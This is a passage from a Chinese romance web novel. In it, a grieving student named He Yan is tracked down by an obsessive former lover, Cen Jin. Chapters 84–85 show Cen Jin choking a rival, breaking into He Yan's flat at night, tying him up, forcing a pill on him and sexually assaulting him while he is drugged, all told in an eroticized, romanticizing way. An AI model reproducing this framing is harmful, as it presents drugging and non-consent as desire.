宽大的梧桐叶在他的头顶摇曳着,叶片的缝隙间漏下了些许细碎的光斑。 他透过散去的白烟看向那个倔强的背影,贺衍站得笔直,夕阳落在他的身上,给他镀上了一层模糊的光晕,仿佛随时会随着蝉鸣一起蒸发在夏日的热意里。 贺衍蹲下身,指尖拂过照片,在低声说些什么。 手机震动,鄢忬掐灭了烟,接通了电话。 “嗯,我最近先不回去——” 他正准备在说什么,却不知道何时贺衍已经走到了跟前。 鄢忬轻怔了下,挂断了电话。 回到小区后。 贺衍忽然开口:“叔叔,我打算多在家里待一阵子,你还有工作要忙,不用一直在这里陪着我。” 鄢忬掸了掸衣服上并不存在的灰尘,目光沉静地落贺衍身上,温柔又克制。 随后他移开了目光,没让贺衍看见他眼底的晦暗。 客厅的阳台上,两盆茉莉花正沐浴着黄昏的最后一缕光,花骨朵还未绽放。 这是鄢忬从旧房子里搬出来的。 鄢忬伸手轻轻碰了碰发黄的叶片,声音低沉而温和:“杨阿姨临走前,嘱咐我多照顾一下她放在老家的那几盆花。” “你又不会养花,总不能让她在那边笑话我连这个都没养好吧?” 鄢忬说得轻描淡写,却让贺衍根本没办法反驳。 他隐约意识到,自己也不想反驳,他希望有人能陪着自己。 鄢忬推掉了自己所有的工作,在这里陪着贺衍待了一个月。 七月中旬,茉莉花开了。 联邦高考的结果也出来了。 贺衍也打算离开了。 离开前的那天下午,贺衍骑着自行车从贺振刚那里回到阳光小区。 就在他准备骑进小区的时候,忽然听到身后有人在叫他的名字。 “贺衍贺衍,居然真的是你啊。去年暑假我还见过你,但刚过完暑假你就不来上学了,我以为你怎么了呢,今天终于又见到你了。” 说话的是一个脸上带点雀斑的褐发男生,是贺衍以前的同桌。 贺衍把自行车停到了路边,对着他挥了挥手,脸上带上了点真心的微笑。 两个人走到街边的冰饮店里坐了一会儿。 黄星俊一脸惊喜地看着贺衍:“你报的是姆扎州的大学?” 贺衍点了点头:“铜海大学。” 黄星俊挠了挠头,不过他还是一脸高兴地说道:“我的分数估计上不了那个,不过铜海大学附近的铜海工业大学我肯定能上。” 黄星俊絮絮叨叨地说了很多贺衍离开之后的事:“你不知道,你走了之后,咱班的平均分都比不过二班了。只要一有考试,只要成绩下来,老班保准会提你的名字……” 只是听着,就感觉好像回到了那种日常的校园生活。 贺衍静静地听着,唇角挂着一抹难得的浅笑。 明明只过了一年而已,但总感觉这种生活离自己好远了。 黄星俊正说到兴头上,忽然话音一顿,眼睛直直望向门口,随后眼睛飞速眨动,低声对着贺衍悄悄说道:“刚才店里进来一个人,一看就是那种超级有钱人,跟电影里的那些老钱一样。” 贺衍顺着他的视线转头。 鄢忬推门而入,他穿着深色的POLO衫,恰到好处的剪裁勾勒出了宽肩窄腰的轮廓。 贺衍脸上浮现一个问号,黄星俊在说什么,他怎么完全没看出来。 鄢忬步伐从容稳定,目光径直越过店里的其他人,落在了角落里贺衍身上。 黄星俊压低声音:“卧槽!你认识?” 贺衍咬着吸管,“嗯”了一声。 鄢忬走到贺衍身边停下,他的视线扫过黄星俊,略微停顿了一下:“你是阿衍的?” 黄星俊咽了口唾沫,瞬间紧张了起来:“您,您好,我是贺衍的同学。” 鄢忬略微点头:“你好。” 随后他微微俯身,在贺衍耳边说道:“走吧,不然赶不上晚上的飞机了。” 卧槽!卧槽!卧槽!黄星俊心里被这两个词刷屏了,他立刻拿出手机,给贺衍连发了一大段话,最后一句是:[兄弟,苟富贵,莫相忘!!!] 贺衍拿出手机一看,眼皮抽了几下,黄星俊还是那种老样子。 窗外,罗河县逐渐远去。 津兴市,福宁小区。 连下了两天大雨,终于迎来了天晴。 阳光把屋内照得通亮,将空气中的浮尘照得纤毫毕现。 只是一切空寂无声,这间房子除了贺衍之外,再也没有杨梅霞的身影。 在杨梅霞去世后,贺衍终于第一次推开了她的房间。他拿着打扫工具,把房间上上下下都打扫了一遍。 贺衍整理了一下床铺,忽然发现枕头下露出了一节暖黄色的信封,他拿出了那封信。 贺衍的指尖触到信封边缘时,呼吸微微一滞,信封上是一行歪歪扭扭的字体:[给小衍的信] “衍”字还少写了一个点。 贺衍捏着信纸边缘,信纸上的水痕深浅不一,上面的字迹像是刚学会写字的小孩那样笨拙地爬满了整个纸面。 [小衍,奶奶知道,你总一个人扛着,什么事都不愿意跟我说。可就算你不说,奶奶也知道你过得不开心,没有我们在罗河县那么开心。 但是来到津兴之后,你比之前开心多了。 你开心了,奶奶就开心了。 鄢老师一直照顾我们,等你有能力了,一定要好好感谢人家。 还有小琚,奶奶知道你不喜欢我提他的名字。 可是,你原来不是一直想知道小琚和我说了什么吗。 当初奶奶不想手术,因为奶奶知道手术费很贵。可是小琚告诉我,他说这医院是他家的,他说你为了这次的手术,跟他父亲做了一笔交易,就算我不做手术,这笔交易也不会停止,你还要白白为他的父亲卖命。 小琚说得含糊,但是奶奶却清楚他没有撒谎。 那时候奶奶问小琚这是什么交易,小琚却说不管什么交易,他都不会让你受到他父亲的伤害。 那时候奶奶就知道了,小琚这孩子喜欢你。 你把奶奶送走之前,小琚和奶奶见了一面,他告诉奶奶,等他生日过后,就会帮你脱离他父亲的掌控。 奶奶送给他的一个玉镯,那是你的太奶奶送给我的,本来是留给你妈妈的,但是她去世得太早了。 奶奶可能等不到你上大学,也等不到你结婚了。小衍,你别嫌奶奶啰嗦,但你以后一定要找一个知冷知热的人。小琚看你的眼神,像你爷爷当年……] 贺衍攥着信纸的指节发白,喉结滚动了几下。 阳光太刺眼了,刺得他眼眶发烫。 那些歪歪扭扭的字迹在视线里模糊成一片,他甚至能想象出奶奶当初拿着笔笨拙地写出这些字的模样。 贺衍脸上的表情似哭似笑。 他终于知道了当初两个人说了什么,可他宁愿不知道。 奎尔丹尼州军区。 夏日的奎尔丹尼州没有了冬日的肃杀寒冷,但也并没有姆扎州那般潮热。 这里的风带着高纬度的地区特有的清洌,阳光也是苍白的,连柏油马路都晒不透,踩上去依旧硬邦邦的。 岑靳将军服上的中校肩章取下,离开了办公室。 高振本来打算找岑靳汇报,结果只在桌面上看到了被取下来的两个中校肩章,上面的两把军剑交错,在光下折射出金属的冷光。 他连忙冲了出去,看到了岑靳离开的背影。 “老大,当初别人说我还不信,但是你这段时间疯狂地做任务,原来真的是为了退役。” 岑靳的脚步在走廊尽头顿住,军靴与大理石地面碰撞,发出冷硬的回响。 高振继续追着他说,试图劝他回心转意:“老大,按照你现在的军功,等下一次表彰,完全有可能升到上校啊。” 他缓缓转身,冷白的日光透过窗户,在他轮廓分明的脸上投下了锋利的阴影。 “说完了?” 他的声音很低,但那双灰蓝色的眼里却只有一片死寂,令人不寒而栗。 追出来的高振下意识后退半步,神色复杂地看着岑靳。 自从一月份,他知道贺衍去世之后,就一直是这样的状态。 八月初,郗景成功和鄢昱离婚。 明明应该是一个铺天盖地的大新闻,但网上却没有这件事的任何消息。 鄢昱是鄢家钦定的继承人,他和鄢昱结婚那年,鄢昱已经手握鄢家至少百分之十的股份。他本该获得鄢昱至少一半的财产。 他手里握着鄢昱出轨并且私自挪用郗家公款的证据,郗景本以为就算他坐牢,也不会对这件事造成什么影响。 但后来他出狱了才搞清楚,把自己阴到监狱的不是鄢昱,而是鄢家那位离家十几年的透明人大少爷。 不到一个月的时间,不仅是郗式化工的股权被稀释,鄢昱的股份也被夺走,只剩了百分之一。 虽然没分到太多东西,但郗景本来也不缺钱,他对自己能够和鄢昱离婚这件事依旧非常开心。 特别是当他从田商那里得知,岑靳已经离开军队,并且被岑元帅安排到这里,担任姆扎州的检察官之后。 他已经迫不及待等着岑靳来铜海的那天了。 从知道这个消息开始,他就开始着手准备了。 他要为岑靳办一场盛大的欢迎仪式。 现在,郗景已经完全没心思去想那个该死的贺衍了。 不过他不打算让知道贺衍还活着并且和贺衍关系还不错的杭凌一知道这件事。 为了不出任何差错,郗景找到了田商、习重还有冯郅,和他们亲自商量这件事。 郗景笑得甜蜜。 他没有用自己的名义举办这次的聚会,他要给岑靳一个惊喜。 八月十六号,岑靳落地铜海机场。 田商亲自接机,拉着岑靳坐到了车里。 灰蓝色眸中没什么情绪,岑靳轻飘飘地扫了田商一眼。 “田商,我之前应该明确拒绝过你,我不想参加什么欢迎宴。” 岑靳现在这模样,看着就渗人,田商心里嘀咕着,但他自认为知道岑靳和郗景之间的弯弯绕绕。 因此好说歹说硬是把岑靳弄了过去。 梵玺会所是铜海市的顶级的销金窟。 这里拥有绝对的隐私和绝对的娱乐,只要你有钱和权,一切都会为你让步。 但梵玺会所只有会员才拥有入场资格,而根据会员等级,成为会员的会费是五百万起步。 一小时后,梵玺会所顶层。 郗景紧张得手心出汗,他看了眼腕表,心脏怦怦直跳。 马上,马上他就要见到岑靳了。 第84章 第 84 章 “混账……” 第84章 梵玺会所顶层。 岑靳一脸不耐烦, 整个人都散发着冷意。 终于到地方了。田商擦了擦不存在的冷汗,心里倒是松了一口气,朋友能做到他这份上倒也是没谁了。 顶层最大的包厢里, 郗景看到田商的消息, 猛吸了一口气,转身走到了大门前。 他的身后是一面全落地的玻璃窗, 可以将整个铜海市的夜景一览无余。 冯郅眼里闪过戏谑的神情。 当初岑靳为了一个替身要死要活的事他们都清楚得很,如今正主都单身了。 不知道一会儿会不会看到岑靳和郗景相看泪眼的情形,这可是难得能看到岑靳的好戏。 包厢门外。 服务生鞠躬,轻轻推开了厚重的用胡桃木打造的大门。门上雕刻着精美的暗纹,在被推开的时候, 门轴发出了轻微的富有质感的声响。 岑靳目光掠过站在大门处的郗景, 径直走到沙发那处坐了下去。 郗景被留在大门那里, 整个人都愣住了。他勉强扯出一抹笑容,肯定是刚才岑靳没看自己。 别说郗景了,连田商都傻住了。 这跟自己设想的场景完全不一样啊, 岑靳怎么完全无视了郗景啊。 岑靳掀起眼皮,百无聊赖地看了田商一眼:“你说的惊喜在哪里?” 田商尴尬地扯了下嘴角:“你之前不是, 不是喜欢——” 岑靳灰蓝色的眼瞳周围凝着一层暗霜,田商的嘴下意识闭上了。他已经有大半年没见过岑靳了, 他好像真的跟之前有哪里不一样了。 郗景坐到岑靳旁边, 语气温柔:“岑靳, 我离婚了。” 会所内的灯光落在郗景的身上, 仿佛给他笼罩上了一层柔光。 岑靳拿起桌面上的酒喝了一口,把酒杯又放了回去。 玻璃酒杯和大理石桌面碰撞,发出清脆的声响。 郗景被这声音惊了一下,那双水润的棕色眸子含情脉脉地看着岑靳:“岑靳, 你喜欢我吗?” 岑靳眉宇阴鸷,他不耐地看了一眼郗景,终于从记忆深处扒出了这个人是谁。 “你脑子有病?” 岑靳的话猝不及防捅进郗景的心口,他整个人瞬间僵在原地,连呼吸都停滞了。 “你……说什么?”郗景的声音发颤,耳边嗡嗡作响。 不可能,岑靳不可能不喜欢自己,那之前因为自己的一句话留长发,因为自己深夜飙车是为了什么。 津兴市,福宁小区,801房间。 鄢忬做完饭,把围裙摘了下来。 他无声地看向客厅的沙发那里。 贺衍趴在沙发上,前面放着一本他从鄢忬的书房里拿下来的一本推理小说。 他看得聚精会神,因此也没有意识到,短袖的下摆随着他微微前倾的姿势悄悄地上移,露出了一截冷白的腰线。 暖黄的吊灯落在那片肌肤上,隐约映出后背凹陷的腰窝轮廓。 他翻页时无意识地动了动肩膀,布料又滑了几分,那一处微妙的凹陷随着他的动作若隐若现。 贺衍无意识蹙了下眉,抬手随意扯了下衣角。 那抹白消失在了视野内,只剩一缕没来由的燥热滞留在了鄢忬的呼吸中。 “阿衍,吃饭吧。”他的声音带着一丝不易察觉的暗哑。 “再看一会儿,叔叔,一会儿再吃。” 贺衍头也没抬地说了句,又翻了一页。 直到鄢忬把他面前的书收了起来:“吃饭吧,明天你想看到什么时候都行。” 贺衍翻身坐了起来,他揉了揉僵硬的脖子,扬唇懒懒说道:“你明天不在家?” 鄢忬嗯了一声。 吃完饭,贺衍把碗筷放到洗碗机里,就在他打开门准备回隔壁的时候。 鄢忬出声嘱咐道,墨绿色的眸中压抑着克制的欲念:“我晚上不一定能赶回来,明天的饭记得自己解决。” 贺衍也没回头,他摆了摆手:“知道了,我又不是真的小孩,还能饿着自己不成。” 梵玺会所顶层。 落地窗前的夜景将铜海的外滩饱收眼底。 冯郅给自己灌了一大杯酒,借着喝酒的动作掩饰自己的目光,他看着岑靳和郗景的互动,神色闪烁了片刻。 单纯只论长相,郗景还真就是比不上贺衍。要是加上性格,那就更是一丁点儿都不像了。 说起来,当初他根本没把那个贺衍跟郗景联系起来,特别是被贺衍揍了一顿之后,他更是哪哪都不觉得贺衍和郗景相似。 冯郅示意田商坐到自己这里,凑近他轻声说道:“老田,你看他俩那样,真是你说的互相暗恋,我怎么一点看不出来岑靳有这种苗头。” 田商一脸菜色:“别说了,我也看出来了。但岑靳之前就是为了郗景——” 田商陷入了回忆里,他喃喃说道:“冯郅,当初岑靳飙车的那天就我跟他在一起。他明明就是接了一通电话之后,跟把车给砸了啊,就在郗景订婚的那天。” 冯郅忽然看向对面,他挑了下眉,吊儿郎当地说道:“你看对面。” “我哪里做错了?” 郗景突然拔高的尾音带着狼狈的哭腔。 他的嗓子被哽得生疼,却死死地盯着岑靳的脸,试图从中挖出谎言的痕迹。 岑靳啧了一声,眼底布满寒霜。 郗景脸上全是泪痕,他抓住岑靳的衣角,但刚碰到就被岑靳给甩开了。 “岑靳,我TM为了你跟鄢昱离婚,结果你告诉我你不喜欢我。” 岑靳停住了脚步,眉梢全是冰冷的寒意:“我什么说过我喜欢过你,你离婚跟我又有什么关系。” 郗景呵笑一声,哭得上气不接下气:“您凭什么不喜欢我,当初你为了我留长发,你为了我把那全联邦只有一辆的超跑砸了,在知道我订婚后又剪短了长发——” 这家伙看来真有臆想症,岑靳眉宇森然。 当初母亲白血病化疗,他那头长发完全是为了他母亲留的,但是后来发现根本用不上就给剪了。 当时岑德越那老头刚当上元帅不久,树敌颇多,他那辆车上被人装了监听设备,又不能打草惊蛇,才假借生气把车给毁了,不然他后面也不会被送到军队。 沙发那里,习重摸不着头地蹙着眉。 冯郅倒是乐得自在,能看岑靳好戏的机会不多,虽然跟想象的画面差距有点大,但他觉得这场戏比想象的还要好看。 不过田商跟这俩人完全不同,他一脸生无可恋,忽然对上岑靳的目光,整个人一激灵。 “田商,你带来的人,你自己负责。我先走了。” 岑靳话没说完转身就走了。 田商的目光从郗景的脸上扫过,眼皮忽然跳了一下。 下一秒,几近撕裂的声音在包厢里响起。 “就是因为一个该死的贺衍,所以你就不喜欢我了吗?他不过是我的替身而已。岑靳,你既然喜欢他,怎么可能不喜欢我!” 岑靳收回了已经放到门上的手。 他的语气低沉,带着显而易见的危险气息:“你刚才在说什么。” 田商心里乱骂了一句,冯郅眼里的戏谑也消失了。 郗景已经崩溃了,他口无遮拦,疯了一样地朝着岑靳吼着:“你以为他是什么好东西吗,不还是背着你跟别人搞在了一起!” 他的意思是贺衍还活着。 岑靳的瞳孔骤然紧缩,灰蓝色的瞳孔周围凝出一层寒霜。 郗景的喉咙被他掐住,发出濒死的粗喘。 “卧槽,老岑,你在干什么!” 周围那几个人愣了一下,立刻冲过来死死架住他的手臂,可岑靳的肌肉绷得像铁,纹丝不动,直到郗景的挣扎越来越弱,眼球都翻白了。 “你再说一遍。”他的声音低得可怕,像是从齿缝里碾出来的一样,眼底翻滚着近乎癫狂的暗色。 郗景大口喘息,瘫软在地上,眼前一阵阵发黑。他剧烈咳嗽着,脸色涨得发紫。 他刚才真的以为自己要死了。 八月十七,上午。 贺衍伸了个懒腰,缩在沙发上继续看着昨天只看了不到一半的书,视线却没办法再聚焦在任何一个字上。 铜海大学的通知书昨天到了,开学时间是九月十号。 不过,鄢忬应该会送他去学校,他在铜海也有一套房,到时候自己可以住他家—— 贺衍的思绪忽地停顿,睫毛颤动,那双微微上挑的眼中闪过几分困惑。 他胡乱地揉了下自己的头发,眉头蹙了起来。 但现在,自己是不是太过于依赖鄢忬了。 贺衍抿唇,他把膝盖上的书合上,神色却愈发古怪。 他这样,不太对。 铜海市市中心,天寰壹号公寓。 岑靳的手机屏幕亮起,那条消息跳出来的瞬间,他的瞳孔骤然紧缩。 这是今年五月份,贺衍在法庭上辩护的视频。 岑靳死死攥着手机,呼吸变得急促而混乱,他盯着视频,灰蓝色的眸底是浓稠得化不开的暗色。 岑靳的指尖开始不受控制地颤抖,他猛地站起来,真皮座椅在地面上刮出刺耳的声响,可他已经听不见了。 “他真的还活着……贺衍,还活着……” 岑靳的胸口剧烈起伏,眼底翻涌着某种近乎癫狂的喜悦。 岑靳将手指插入发间,低低地笑了起来,笑声在安静的房间内回荡,像是终于从地狱爬回人间的恶鬼。 只是这笑声逐渐变成了嘶哑的喘息,又变成了哽咽,他的眼角泛着红,眼泪却顺着脸颊滑落了下来。 手机又亮了,这次是贺衍具体的位置信息。 [姆扎州,津兴市,福宁小区802号] 车载导航机械地报出路线,岑靳缓缓踩下油门,仪表盘上的指针却危险地向右偏移。 门外,外卖小哥把东西放下,正准备打电话提醒顾客的时候。 忽然被拦下了。 外卖小哥皱着眉,忽然对上了一双阴鸷到让人恐惧的眼睛。心头的怒火瞬间就被扑灭了,他咽了口唾沫:“那个,大哥,您有什么事吗?” 外卖小哥看到眼前高个男人的动作,还以为他要打自己,他下意识闭上眼,却发现掌心里被塞了一沓钞票。 外卖小哥眼睛发直,这一沓得有至少一万。 他又咽了口唾沫,但这次是因为激动了:“大哥,您有什么吩咐。” 黑棕发色的男人敛眸,沉声吩咐道:“等我给你信号,你再给他打电话。” 午后的阳光从透明的玻璃落进室内。 客厅的电视屏幕上,正播放着一档采访。 黑色卷发男人慵懒地坐在沙发里,他的睫毛下是一双黑墨般的眼瞳,藏着摄人心魄的魅力,那一种模糊了性别的、近乎侵略性的美丽。 整个画面几乎都成了他的陪衬。 美女主持人的眼神都贴在了他的身上,身体不自觉地朝他那个方向靠近。 她下意识地抚了抚自己精心打理的头发,视线却不自觉地滑向了男人腕间,一枚温润的玉镯环在他的腕骨上,在镜头下泛着柔和的微光。 “行水,观众们很好奇,”主持人眨了下眼,“您似乎经常戴着这个玉镯出席活动?莫非——是喜欢的人送的吗?” 镜头偏爱地落在他的脸上,扫过他低垂的睫毛,和那张几乎没有任何缺陷的如玉般的脸颊。 行水的指尖轻轻抚过镯子,他嘴角弯起。 主持人被这笑容晃得失神。 贺衍盯着屏幕里的贺琚,指间的矿泉水瓶被他捏得微微变形,表面凝结的水珠顺着他的指缝滑落。 电视里传来熟悉又陌生的语调。 “是一个很好很慈祥的人。”他的声音忽然轻了下来,却抬头看向了镜头,目光仿佛穿透了屏幕,落在了贺衍身上。 “我很想他,我会去看他的。” 电视里的声音突然变得刺耳。 贺衍抓起遥控器关了电视,胃部突然一阵痉挛,他这才意识到自己出了一身冷汗。 突然响起的手机铃声打断了贺衍的深思。 “您好,您的外卖已经放到门口了,麻烦给个好评。” 是外卖到了。 贺衍打开门,他弯腰手指刚搭在外卖袋上,视线里却忽然出现了一双黑色的皮鞋。 贺衍眉心拧了下,他的视线缓缓上移,最后,对上了那双熟悉到令人心悸的灰蓝色眼睛。 岑靳就站在他面前,他逆着走廊的灯光,影子几乎将贺衍整个人都笼罩在其中。 岑靳为什么会出现在这里。 外卖的塑料袋在他的掌心发出轻微的沙沙声。 贺衍的心脏开始狂跳,浑身肌肉瞬间绷紧,那种莫名的侵略感让他浑身上下都发出危险的警告。 他往后退了一步,眼里满是警惕。 没有任何一丝岑靳期望的喜悦。 “你瘦了。” 贺衍不耐烦地后退了一步:“别说废话,有什么事直说。” 岑靳的眼底翻滚着贺衍看不懂的情绪,他的唇线绷得极紧:“贺衍,我找你了很久。我以为你死——” 贺衍的唇抿成直线,眸光微冷:“你找我干什么?” 贺衍眉宇之间满是讥诮,语气也带着嘲意:“是觉得骗我很有意思,所以还想继续和我玩替身游戏?” “你救我的报酬,我当初已经给你了。”贺衍冷啧了一声:“我不欠你的,岑靳。” 贺衍猛地甩上门,可下一秒,骨节分明的手硬生生地卡进了门缝之中。 贺衍瞳孔骤缩,下意识松了力道,可门已经被那只手暴戾地掰开了。 岑靳站在门外,表情却平静得可怕。 “岑靳,你TM是不是疯了?!” 岑靳向前一步,深邃的灰蓝色眸中只映出了一个人的身影,他的嗓音低哑,带着几分委屈:“贺衍,你误会我了,我从来没有把你当成替身。” 贺衍瞥了眼他的手,面无表情地收回了视线。 岑靳解释了很多,但贺衍只是扯了扯嘴角:“你说不是就不是吧。” 贺衍下颌线紧绷,抬头直直地看向岑靳:“岑靳,我希望以后我们不要再见面了。我很喜欢现在的生活,我不希望再被别人打破。你懂我的意思吗?” 他根本就不想见到我,他根本没有想过我—— 当初,当初他把贺衍从长偃山带下来的时候,就不应该放他走。 岑靳的呼吸明显一滞,声音却轻得危险:“贺衍,我找了你半年。” 贺衍不想再和他多说什么了,他撇了下嘴:“哦,我知道了。你可以把我当一个‘死人’,我不介意。” 沉默在两人之间蔓延,直到岑靳突然低笑起来,他后退了一步:“你说得对,抱歉,今天突然打扰你。” 门被岑靳轻轻带上了。 岑靳转身离开了。 午后的阳光正好,但他整个人却被灰意笼罩,一丝光亮都透不进去他的眼里。 “当初贺琚做得没错,应该把他关起来的。”他的声音低哑,仿佛是某种扭曲的自言自语。 应该把他关起来的。 这个念头一旦浮现,便再也无法压下去了。 岑靳满脸阴鸷,嘴角却缓缓勾起一抹病态的笑意。 只有我才能保护贺衍,那些觊觎他,试图靠近他的人,都该消失。 岑靳的眼底闪过一丝暴戾,他闭上眼,脑海中浮现出贺衍的眼睛,那双开心的、愤怒的、警惕的甚至是恨意的眼神,每一种情绪都让他兴奋得指尖发颤。 那是他失而复得的珍宝,他不能再承受没有贺衍的日子了。 恨我也没关系,只要他眼里只有我。 阴暗的念头在心底疯狂地滋生,蚕食着岑靳本就所剩不多的理智,一寸寸收紧直至消失殆尽。 凌晨两点半,夜色如墨,黑意仿佛能将一切都吞噬。 福宁小区802号房的门外,出现了一个身材高大的男人。 岑靳拿着专业的开锁工具,一脸平静。 接近三点钟的时候,锁芯那里忽然传来一声极轻的咔嗒声。 岑靳推开房门,他很快适应了房内的黑暗,找到了贺衍的房间。 门被推开了。 贺衍猛地睁开眼,肌肉瞬间绷紧,大脑迅速从睡意中清醒过来。 他立刻起身,朝着那团黑影砸过去,却被对方偏头躲过。 贺衍一记膝撞顶向对方腹部,却被那人用大腿硬接,反手拧住了他手腕—— “退步了。”男人的呼吸喷在了他耳后。 他认出了这个声音。 贺衍瞳孔陡然紧缩,随后脸色彻底沉了下去,眸色黑得纯粹,带着戾气。 贺衍猛地转身肘击岑靳的肋骨,趁机挣脱了束缚。 两人在卧室里缠斗着,不知道何时撞开了灯。 刺眼的灯光让贺衍下意识地闭上了眼,岑靳抓住他的衣领用力一扯,让他失去了平衡。 连着两个月的颓废,贺衍的肌肉记忆明显迟钝了,就在他踉跄着快要撞上衣柜,被岑靳抓着按在了床上。 岑靳用膝盖顶开他双腿,压得他几乎无法动弹,动作粗暴却又带着一种令人不寒而栗的冷静。 “混账……”贺衍的骂声被布料闷住了。 岑靳扯开了他的睡衣,反手绑住了贺衍的双手,动作熟练且干脆利落。 贺衍被迫趴在了床上。 岑靳扣住他的下颚强迫他转头看向自己。 他看着贺衍眼底的恨意,唇角却扬了起来,那双灰蓝色的深邃眼眸中漾着化不开的笑意,就像他们在圣洛莱索的时候一样。 他狠狠地瞪着岑靳,眼神如刀,恨不得剐他。 “贺衍,我给过你机会,但那是你自己拒绝了。”岑靳嗓音沙哑,“我一直以来喜欢的都是你,从来没有什么替身。” “滚!你TM的是不是脑子有病,我不喜欢你!”贺衍双眼猩红,眼里几乎要喷出火来。 但岑靳却只是低笑着把布条勒得更紧,另一端被他系在了床柱上。 贺衍被迫吞咽了一颗白色的颗粒。 岑靳轻声说道,声音却哑到不行:“我怕你会疼。” 贺衍气得浑身发抖,额头脖颈的青筋暴起,胸腔里的怒火几乎冲破了胸膛,但身上却逐渐了没了什么力气。 岑靳的指腹碾压蹂躏过他的唇瓣,又轻抚过他的脖颈,顺着贺衍的喉结滑下。 他的动作很轻,像在对待一件易碎的珍宝,可眼底翻滚的欲念却浓烈得几乎化为实质。 贺衍的挣扎逐渐减弱,但布条却已经在他冷白的皮肤上勒出了淡淡的红痕。 岑靳灰蓝色的眼睛陡然暗沉,他忽然扣住了贺衍的下颌,撬开了他的齿关,长驱直入地探入了那片湿热之中。 这个吻带着不容抗拒的侵略,却又在深处藏着小心翼翼的珍视。 舌尖扫过上颚时,贺衍的脊背猛地绷直,喉间溢出了一声几不可闻的呜咽。 第85章 第 85 章 “叔叔,我好难受。”…… 第85章 贺衍被亲得浑身发颤, 氧气被一点点抽离,眩晕感让他下意识地仰起了头,迎合着这个几乎要将他吞噬的吻。 岑靳终于退开了, 银丝牵连在两人的唇间。 “滚……恶心……” 他喘息着骂道, 但那声音却连他自己听了都耳根发烫。贺衍下意识挣扎,可身体却软得使不上力气, 只能任由对方为所欲为。 好热,好热,感觉快要融化了。 岑靳在他的耳边轻笑,手从耳根处向前缓缓摩挲,指腹蹭过贺衍湿润的唇角, 灰蓝色的眸子翻涌着无尽的欲念。 “你有感觉了。”岑靳的声音低沉, 带着几分餍足的笑意, 眼底却满是近乎病态的占有欲。 夜色沉甸甸地压下来,整个小区都陷入了沉睡之中,连小区街道的路灯都显得昏昏欲睡。 窗外的树影仿佛静止了一半, 没有风声,没有蝉鸣, 只有远处忽然传来一声模糊的汽车上锁的声响。 黑发绿眼的男人锁上了车,他抬头, 忽然看向了八楼唯一还亮着灯的那户。 而房间内, 粗重的喘息声在寂静的夜色中格外清晰。 汗珠从贺衍紧绷的下颌滚落, 砸在了床单上, 洇出深色的痕迹。 他每一次呼吸都带着压抑的颤音。 手指插入了他的口腔,贺衍的瞳孔骤然紧缩,喉咙深处发出小动物般的呜咽。 他想咬下去,可身体却背叛了理智, 如同渴望糖果的孩子一样开始吮吸那根手指。 唾液不受控制地从唇角滑落。 岑靳的手指缓缓抽离,带出一丝银线。 贺衍的身体却越来越热。 好热,好难受。 他眼神涣散地趴在那里。 岑靳手掌覆上了他的腰侧,贺衍感到天旋地转,下一秒,他的后背已经陷入柔软的床垫中。 岑靳解开了他腕骨那处的束缚。 支离破碎的布料从他的身上轻轻划过,激起一阵战栗的快感。 贺衍猛地弓起背,他的睫毛湿漉漉地黏在一起,眼神涣散得像是蒙了一层雾。 岑靳握住了贺衍垂落到床边的那只手,指缝一点点交错,直至严丝合缝地扣紧。 福宁小区,一号楼的楼下。 鄢忬抬腕看了眼时间,若有所思地眯了下眼。 电梯上行。 门外传来的敲门声。 声音通过门口的可视对讲机器传到屋内。 “阿衍,这么晚了,你房间的灯怎么还亮着?” 阿衍,叫得这么亲密。 岑靳的眸色暗了下去,亲吻的动作停顿,但也只是停了一下,便继续向下。 喘息声越来越急促。 安静到几乎只有呜咽和喘息的空间里,大门那处钥匙转动的声音极为明显,大门从外面被打开了。 “阿衍,你门口放的箱子是什么?你已经睡了吗?” 鄢忬声音里的亲昵而自然,他已经走进了屋内,就在卧室门外。 这人居然连钥匙都有。 岑靳灰蓝色的眼瞳周围凝结出一层寒意,他的指腹缓缓地在贺衍眼下的泪痣上摩挲。 好舒服。 贺衍眼眸潋滟,眼尾洇出一抹潮红,他的唇瓣微张,不自主地贴着岑靳的手掌轻蹭,唇齿间溢出了丝丝甜腻的喘息。 岑靳奖励般地吻了吻他的额头,他扯过夏凉被盖住了他和贺衍。 门被打开了。 鄢忬推开了门,床上交缠着两个人的身影瞬间映入眼帘,他的瞳孔骤然收缩成一点,死死地钉在床上。 贺衍的唇色比平日更艳,唇角还带着不自然的湿润。 一只手腕从被沿滑落,冷白的腕骨上赫然印着几道红痕,指印和捆痕清晰得刺目,像是有人用蛮力将它狠狠扣在床上。 每一处都刺得他眼睛发红。 岑靳眉宇森然,他扯了扯嘴角站了起来,把贺衍盖得严严实实。 鄢忬的眉骨一沉,墨绿色的眼眸已经彻底黑了下去,他眼睑半垂,唇角绷得平直:“从这里滚出去。” 房间里的空气骤然凝固。 “该滚的是你。”岑靳嘴角挂着笑,灰蓝色的眼底却满是阴鸷:“我怎么不知道,现在进别人的卧室都不需要主人允许了。” “我倒不知道,大名鼎鼎的俞杉风投的总裁居然会玩这种过家家的把戏。” “你还没资格在我的地盘上狗叫。”鄢忬没动,甚至连眉梢都没抬一下,可整个房间的温度却仿佛瞬间降至冰点。 房间里的硝烟味被一声低软的呻吟打断了。 布料摩擦的细微声响在房间里异常清晰。 贺衍自己扯开了身上的被褥,冷白的肌肤泛着不正常的潮红。在昏暗的光线下显得格外刺眼,颈侧、锁骨,甚至腰腹间,都残留着暧昧的像是被野兽啃噬过的痕迹。 药效烧得他神志不清,唇瓣被他自己咬得艳红,连腿根都像是痉挛了一样发颤,整个人融化成了一摊水。 岑靳下意识向前半步,却被一道冰冷的声音钉在原地。 “如果你不想被岑德越亲自飞到姆扎州把你带走,现在就滚出去。” “再看一眼,”鄢忬的眉骨狠狠地压下,墨绿色的眼里是遮不住的杀意,“我就不保证你能离开这里。” 死寂一般的沉默。 即使根据高振调取的各种资料,他知道鄢忬和贺衍没有暧昧关系,只是资助人与被资助人,甚至是长辈与晚辈的关系。但被这样威胁,岑靳眼底翻涌着戾气,手背上的青筋暴起。 他知道鄢忬没有开玩笑。 即使他死在津兴,鄢忬也能把这一切变成意外。 岑靳最终阴沉着脸站起身离开了。 门被猛地摔上,声音震得整个墙壁都在震颤。 房间里只剩下了贺衍急促地喘息。 他低喃着自言自语:“热,好热——” 鄢忬眸中的森冷逐渐消退,他复杂的目光落在了床上,墨绿色的眼眸涌动着暗流。 他轻轻抚上贺衍的眼尾,不过是被轻轻碰了一下,贺衍的喉间就溢出黏腻的喘息。 “怎么又是这种情况呢,阿衍。” 